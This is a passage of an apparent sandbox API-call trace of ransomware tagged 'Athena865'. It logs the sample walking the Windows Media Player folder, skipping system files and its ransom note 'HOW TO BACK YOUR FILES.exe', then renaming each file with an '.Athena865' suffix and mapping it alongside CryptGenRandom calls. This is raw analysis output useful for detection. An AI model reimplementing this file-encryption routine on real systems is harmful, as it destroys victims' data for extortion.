Player\\en-US\\wmlaunch.exe.mui.Athena865" (normalized: "c:\\program files\\windows media player\\en-us\\wmlaunch.exe.mui.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0090.883] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2048) returned 1 [0090.883] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0090.883] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0090.883] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518f80 [0090.884] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518ef8) returned 1 [0090.884] CryptGenRandom (in: hProv=0x518ef8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0090.884] CryptReleaseContext (hProv=0x518ef8, dwFlags=0x0) returned 1 [0090.885] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xb00, lpName=0x0) returned 0x154 [0090.886] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xb00) returned 0x100000 [0090.887] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518ef8) returned 1 [0090.887] CryptGenRandom (in: hProv=0x518ef8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0090.887] CryptReleaseContext (hProv=0x518ef8, dwFlags=0x0) returned 1 [0090.888] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5392c0 [0090.888] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5392c0 | out: hHeap=0x4f0000) returned 1 [0090.888] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0090.888] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0090.888] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0090.888] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0090.888] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0090.888] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0090.888] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0090.888] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0090.888] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0090.888] CloseHandle (hObject=0x154) returned 1 [0090.888] CloseHandle (hObject=0x17c) returned 1 [0090.888] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0090.888] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518f80 | out: hHeap=0x4f0000) returned 1 [0090.888] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0090.889] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe3998d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x10b3266c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfe3998d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3a00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WMPDMC.exe.mui", cAlternateFileName="")) returned 1 [0090.889] lstrcmpiW (lpString1="WMPDMC.exe.mui", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0090.889] lstrcmpiW (lpString1="WMPDMC.exe.mui", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0090.889] lstrcmpiW (lpString1="WMPDMC.exe.mui", lpString2=".") returned 1 [0090.889] lstrcmpiW (lpString1="WMPDMC.exe.mui", lpString2="..") returned 1 [0090.889] lstrcmpiW (lpString1="WMPDMC.exe.mui", lpString2="windows") returned 1 [0090.889] lstrcmpiW (lpString1="WMPDMC.exe.mui", lpString2="bootmgr") returned 1 [0090.889] lstrcmpiW (lpString1="WMPDMC.exe.mui", lpString2="temp") returned 1 [0090.889] lstrcmpiW (lpString1="WMPDMC.exe.mui", lpString2="pagefile.sys") returned 1 [0090.889] lstrcmpiW (lpString1="WMPDMC.exe.mui", lpString2="boot") returned 1 [0090.889] lstrcmpiW (lpString1="WMPDMC.exe.mui", lpString2="ids.txt") returned 1 [0090.889] lstrcmpiW (lpString1="WMPDMC.exe.mui", lpString2="ntuser.dat") returned 1 [0090.889] lstrcmpiW (lpString1="WMPDMC.exe.mui", lpString2="perflogs") returned 1 [0090.889] lstrcmpiW (lpString1="WMPDMC.exe.mui", lpString2="MSBuild") returned 1 [0090.889] lstrlenW (lpString="WMPDMC.exe.mui") returned 14 [0090.889] lstrcpyW (in: lpString1=0x241e8a0, lpString2="WMPDMC.exe.mui" | out: lpString1="WMPDMC.exe.mui") returned="WMPDMC.exe.mui" [0090.889] lstrlenW (lpString="WMPDMC.exe.mui") returned 14 [0090.889] lstrlenW (lpString="Athena865") returned 9 [0090.889] lstrcmpiW (lpString1="C.exe.mui", lpString2="Athena865") returned 1 [0090.889] lstrlenW (lpString=".dll") returned 4 [0090.889] lstrcmpiW (lpString1="WMPDMC.exe.mui", lpString2=".dll") returned 1 [0090.889] lstrlenW (lpString=".lnk") returned 4 [0090.889] lstrcmpiW (lpString1="WMPDMC.exe.mui", lpString2=".lnk") returned 1 [0090.889] lstrlenW (lpString=".ini") returned 4 [0090.890] lstrcmpiW (lpString1="WMPDMC.exe.mui", lpString2=".ini") returned 1 [0090.890] lstrlenW (lpString=".sys") returned 4 [0090.890] lstrcmpiW (lpString1="WMPDMC.exe.mui", lpString2=".sys") returned 1 [0090.890] lstrlenW (lpString="WMPDMC.exe.mui") returned 14 [0090.890] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Windows Media Player\\en-US\\WMPDMC.exe.mui.Athena865") returned 68 [0090.890] MoveFileExW (lpExistingFileName="C:\\Program Files\\Windows Media Player\\en-US\\WMPDMC.exe.mui" (normalized: "c:\\program files\\windows media player\\en-us\\wmpdmc.exe.mui"), lpNewFileName="C:\\Program Files\\Windows Media Player\\en-US\\WMPDMC.exe.mui.Athena865" (normalized: "c:\\program files\\windows media player\\en-us\\wmpdmc.exe.mui.athena865"), dwFlags=0x1) returned 1 [0090.891] CreateFileW (lpFileName="C:\\Program Files\\Windows Media Player\\en-US\\WMPDMC.exe.mui.Athena865" (normalized: "c:\\program files\\windows media player\\en-us\\wmpdmc.exe.mui.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0090.891] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=14848) returned 1 [0090.891] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0090.892] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0090.892] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518f80 [0090.892] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518ef8) returned 1 [0090.892] CryptGenRandom (in: hProv=0x518ef8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0090.892] CryptReleaseContext (hProv=0x518ef8, dwFlags=0x0) returned 1 [0090.893] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3d00, lpName=0x0) returned 0x154 [0090.895] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3d00) returned 0x100000 [0090.896] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518ef8) returned 1 [0090.896] CryptGenRandom (in: hProv=0x518ef8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0090.896] CryptReleaseContext (hProv=0x518ef8, dwFlags=0x0) returned 1 [0090.897] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5392c0 [0090.897] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5392c0 | out: hHeap=0x4f0000) returned 1 [0090.897] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0090.897] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0090.897] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0090.897] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0090.897] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0090.897] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0090.897] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0090.897] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0090.897] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0090.897] CloseHandle (hObject=0x154) returned 1 [0090.897] CloseHandle (hObject=0x17c) returned 1 [0090.898] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0090.898] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518f80 | out: hHeap=0x4f0000) returned 1 [0090.898] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0090.898] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe3998d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x10b3266c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfe3998d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WMPDMCCore.dll.mui", cAlternateFileName="")) returned 1 [0090.898] lstrcmpiW (lpString1="WMPDMCCore.dll.mui", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0090.898] lstrcmpiW (lpString1="WMPDMCCore.dll.mui", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0090.898] lstrcmpiW (lpString1="WMPDMCCore.dll.mui", lpString2=".") returned 1 [0090.898] lstrcmpiW (lpString1="WMPDMCCore.dll.mui", lpString2="..") returned 1 [0090.898] lstrcmpiW (lpString1="WMPDMCCore.dll.mui", lpString2="windows") returned 1 [0090.898] lstrcmpiW (lpString1="WMPDMCCore.dll.mui", lpString2="bootmgr") returned 1 [0090.898] lstrcmpiW (lpString1="WMPDMCCore.dll.mui", lpString2="temp") returned 1 [0090.898] lstrcmpiW (lpString1="WMPDMCCore.dll.mui", lpString2="pagefile.sys") returned 1 [0090.898] lstrcmpiW (lpString1="WMPDMCCore.dll.mui", lpString2="boot") returned 1 [0090.898] lstrcmpiW (lpString1="WMPDMCCore.dll.mui", lpString2="ids.txt") returned 1 [0090.898] lstrcmpiW (lpString1="WMPDMCCore.dll.mui", lpString2="ntuser.dat") returned 1 [0090.898] lstrcmpiW (lpString1="WMPDMCCore.dll.mui", lpString2="perflogs") returned 1 [0090.898] lstrcmpiW (lpString1="WMPDMCCore.dll.mui", lpString2="MSBuild") returned 1 [0090.898] lstrlenW (lpString="WMPDMCCore.dll.mui") returned 18 [0090.898] lstrcpyW (in: lpString1=0x241e8a0, lpString2="WMPDMCCore.dll.mui" | out: lpString1="WMPDMCCore.dll.mui") returned="WMPDMCCore.dll.mui" [0090.898] lstrlenW (lpString="WMPDMCCore.dll.mui") returned 18 [0090.898] lstrlenW (lpString="Athena865") returned 9 [0090.899] lstrcmpiW (lpString1="e.dll.mui", lpString2="Athena865") returned 1 [0090.899] lstrlenW (lpString=".dll") returned 4 [0090.899] lstrcmpiW (lpString1="WMPDMCCore.dll.mui", lpString2=".dll") returned 1 [0090.899] lstrlenW (lpString=".lnk") returned 4 [0090.899] lstrcmpiW (lpString1="WMPDMCCore.dll.mui", lpString2=".lnk") returned 1 [0090.899] lstrlenW (lpString=".ini") returned 4 [0090.899] lstrcmpiW (lpString1="WMPDMCCore.dll.mui", lpString2=".ini") returned 1 [0090.899] lstrlenW (lpString=".sys") returned 4 [0090.899] lstrcmpiW (lpString1="WMPDMCCore.dll.mui", lpString2=".sys") returned 1 [0090.899] lstrlenW (lpString="WMPDMCCore.dll.mui") returned 18 [0090.899] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Windows Media Player\\en-US\\WMPDMCCore.dll.mui.Athena865") returned 72 [0090.899] MoveFileExW (lpExistingFileName="C:\\Program Files\\Windows Media Player\\en-US\\WMPDMCCore.dll.mui" (normalized: "c:\\program files\\windows media player\\en-us\\wmpdmccore.dll.mui"), lpNewFileName="C:\\Program Files\\Windows Media Player\\en-US\\WMPDMCCore.dll.mui.Athena865" (normalized: "c:\\program files\\windows media player\\en-us\\wmpdmccore.dll.mui.athena865"), dwFlags=0x1) returned 1 [0090.900] CreateFileW (lpFileName="C:\\Program Files\\Windows Media Player\\en-US\\WMPDMCCore.dll.mui.Athena865" (normalized: "c:\\program files\\windows media player\\en-us\\wmpdmccore.dll.mui.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0090.900] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2560) returned 1 [0090.900] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0090.900] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0090.900] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518f80 [0090.900] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518ef8) returned 1 [0090.901] CryptGenRandom (in: hProv=0x518ef8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0090.901] CryptReleaseContext (hProv=0x518ef8, dwFlags=0x0) returned 1 [0090.901] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xd00, lpName=0x0) returned 0x154 [0090.904] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xd00) returned 0x100000 [0090.904] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518ef8) returned 1 [0090.905] CryptGenRandom (in: hProv=0x518ef8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0090.905] CryptReleaseContext (hProv=0x518ef8, dwFlags=0x0) returned 1 [0090.905] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5392c0 [0090.905] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5392c0 | out: hHeap=0x4f0000) returned 1 [0090.905] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0090.905] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0090.905] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0090.905] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0090.905] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0090.906] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0090.906] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0090.906] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0090.906] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0090.906] CloseHandle (hObject=0x154) returned 1 [0090.906] CloseHandle (hObject=0x17c) returned 1 [0090.906] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0090.906] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518f80 | out: hHeap=0x4f0000) returned 1 [0090.906] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0090.906] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfded41b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x10b3266c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfded41b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wmplayer.exe.mui", cAlternateFileName="")) returned 1 [0090.906] lstrcmpiW (lpString1="wmplayer.exe.mui", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0090.906] lstrcmpiW (lpString1="wmplayer.exe.mui", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0090.906] lstrcmpiW (lpString1="wmplayer.exe.mui", lpString2=".") returned 1 [0090.906] lstrcmpiW (lpString1="wmplayer.exe.mui", lpString2="..") returned 1 [0090.906] lstrcmpiW (lpString1="wmplayer.exe.mui", lpString2="windows") returned 1 [0090.906] lstrcmpiW (lpString1="wmplayer.exe.mui", lpString2="bootmgr") returned 1 [0090.907] lstrcmpiW (lpString1="wmplayer.exe.mui", lpString2="temp") returned 1 [0090.907] lstrcmpiW (lpString1="wmplayer.exe.mui", lpString2="pagefile.sys") returned 1 [0090.907] lstrcmpiW (lpString1="wmplayer.exe.mui", lpString2="boot") returned 1 [0090.907] lstrcmpiW (lpString1="wmplayer.exe.mui", lpString2="ids.txt") returned 1 [0090.907] lstrcmpiW (lpString1="wmplayer.exe.mui", lpString2="ntuser.dat") returned 1 [0090.907] lstrcmpiW (lpString1="wmplayer.exe.mui", lpString2="perflogs") returned 1 [0090.907] lstrcmpiW (lpString1="wmplayer.exe.mui", lpString2="MSBuild") returned 1 [0090.907] lstrlenW (lpString="wmplayer.exe.mui") returned 16 [0090.907] lstrcpyW (in: lpString1=0x241e8a0, lpString2="wmplayer.exe.mui" | out: lpString1="wmplayer.exe.mui") returned="wmplayer.exe.mui" [0090.907] lstrlenW (lpString="wmplayer.exe.mui") returned 16 [0090.907] lstrlenW (lpString="Athena865") returned 9 [0090.907] lstrcmpiW (lpString1="r.exe.mui", lpString2="Athena865") returned 1 [0090.907] lstrlenW (lpString=".dll") returned 4 [0090.907] lstrcmpiW (lpString1="wmplayer.exe.mui", lpString2=".dll") returned 1 [0090.907] lstrlenW (lpString=".lnk") returned 4 [0090.907] lstrcmpiW (lpString1="wmplayer.exe.mui", lpString2=".lnk") returned 1 [0090.907] lstrlenW (lpString=".ini") returned 4 [0090.907] lstrcmpiW (lpString1="wmplayer.exe.mui", lpString2=".ini") returned 1 [0090.907] lstrlenW (lpString=".sys") returned 4 [0090.907] lstrcmpiW (lpString1="wmplayer.exe.mui", lpString2=".sys") returned 1 [0090.907] lstrlenW (lpString="wmplayer.exe.mui") returned 16 [0090.907] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Windows Media Player\\en-US\\wmplayer.exe.mui.Athena865") returned 70 [0090.907] MoveFileExW (lpExistingFileName="C:\\Program Files\\Windows Media Player\\en-US\\wmplayer.exe.mui" (normalized: "c:\\program files\\windows media player\\en-us\\wmplayer.exe.mui"), lpNewFileName="C:\\Program Files\\Windows Media Player\\en-US\\wmplayer.exe.mui.Athena865" (normalized: "c:\\program files\\windows media player\\en-us\\wmplayer.exe.mui.athena865"), dwFlags=0x1) returned 1 [0090.908] CreateFileW (lpFileName="C:\\Program Files\\Windows Media Player\\en-US\\wmplayer.exe.mui.Athena865" (normalized: "c:\\program files\\windows media player\\en-us\\wmplayer.exe.mui.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0090.908] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3072) returned 1 [0090.908] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0090.909] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0090.909] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518f80 [0090.909] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518ef8) returned 1 [0090.909] CryptGenRandom (in: hProv=0x518ef8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0090.909] CryptReleaseContext (hProv=0x518ef8, dwFlags=0x0) returned 1 [0090.910] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xf00, lpName=0x0) returned 0x154 [0090.911] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xf00) returned 0x100000 [0090.912] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518ef8) returned 1 [0090.913] CryptGenRandom (in: hProv=0x518ef8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0090.913] CryptReleaseContext (hProv=0x518ef8, dwFlags=0x0) returned 1 [0090.913] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5392c0 [0090.913] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5392c0 | out: hHeap=0x4f0000) returned 1 [0090.913] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0090.913] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0090.913] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0090.913] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0090.913] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0090.914] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0090.914] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0090.914] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0090.914] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0090.914] CloseHandle (hObject=0x154) returned 1 [0090.914] CloseHandle (hObject=0x17c) returned 1 [0090.914] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0090.914] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518f80 | out: hHeap=0x4f0000) returned 1 [0090.914] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0090.914] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe3998d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x10b3266c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfe3998d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WMPMediaSharing.dll.mui", cAlternateFileName="")) returned 1 [0090.914] lstrcmpiW (lpString1="WMPMediaSharing.dll.mui", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0090.914] lstrcmpiW (lpString1="WMPMediaSharing.dll.mui", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0090.914] lstrcmpiW (lpString1="WMPMediaSharing.dll.mui", lpString2=".") returned 1 [0090.914] lstrcmpiW (lpString1="WMPMediaSharing.dll.mui", lpString2="..") returned 1 [0090.914] lstrcmpiW (lpString1="WMPMediaSharing.dll.mui", lpString2="windows") returned 1 [0090.914] lstrcmpiW (lpString1="WMPMediaSharing.dll.mui", lpString2="bootmgr") returned 1 [0090.914] lstrcmpiW (lpString1="WMPMediaSharing.dll.mui", lpString2="temp") returned 1 [0090.914] lstrcmpiW (lpString1="WMPMediaSharing.dll.mui", lpString2="pagefile.sys") returned 1 [0090.914] lstrcmpiW (lpString1="WMPMediaSharing.dll.mui", lpString2="boot") returned 1 [0090.914] lstrcmpiW (lpString1="WMPMediaSharing.dll.mui", lpString2="ids.txt") returned 1 [0090.915] lstrcmpiW (lpString1="WMPMediaSharing.dll.mui", lpString2="ntuser.dat") returned 1 [0090.915] lstrcmpiW (lpString1="WMPMediaSharing.dll.mui", lpString2="perflogs") returned 1 [0090.915] lstrcmpiW (lpString1="WMPMediaSharing.dll.mui", lpString2="MSBuild") returned 1 [0090.915] lstrlenW (lpString="WMPMediaSharing.dll.mui") returned 23 [0090.915] lstrcpyW (in: lpString1=0x241e8a0, lpString2="WMPMediaSharing.dll.mui" | out: lpString1="WMPMediaSharing.dll.mui") returned="WMPMediaSharing.dll.mui" [0090.915] lstrlenW (lpString="WMPMediaSharing.dll.mui") returned 23 [0090.915] lstrlenW (lpString="Athena865") returned 9 [0090.915] lstrcmpiW (lpString1="g.dll.mui", lpString2="Athena865") returned 1 [0090.915] lstrlenW (lpString=".dll") returned 4 [0090.915] lstrcmpiW (lpString1="WMPMediaSharing.dll.mui", lpString2=".dll") returned 1 [0090.915] lstrlenW (lpString=".lnk") returned 4 [0090.915] lstrcmpiW (lpString1="WMPMediaSharing.dll.mui", lpString2=".lnk") returned 1 [0090.915] lstrlenW (lpString=".ini") returned 4 [0090.915] lstrcmpiW (lpString1="WMPMediaSharing.dll.mui", lpString2=".ini") returned 1 [0090.915] lstrlenW (lpString=".sys") returned 4 [0090.915] lstrcmpiW (lpString1="WMPMediaSharing.dll.mui", lpString2=".sys") returned 1 [0090.915] lstrlenW (lpString="WMPMediaSharing.dll.mui") returned 23 [0090.915] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Windows Media 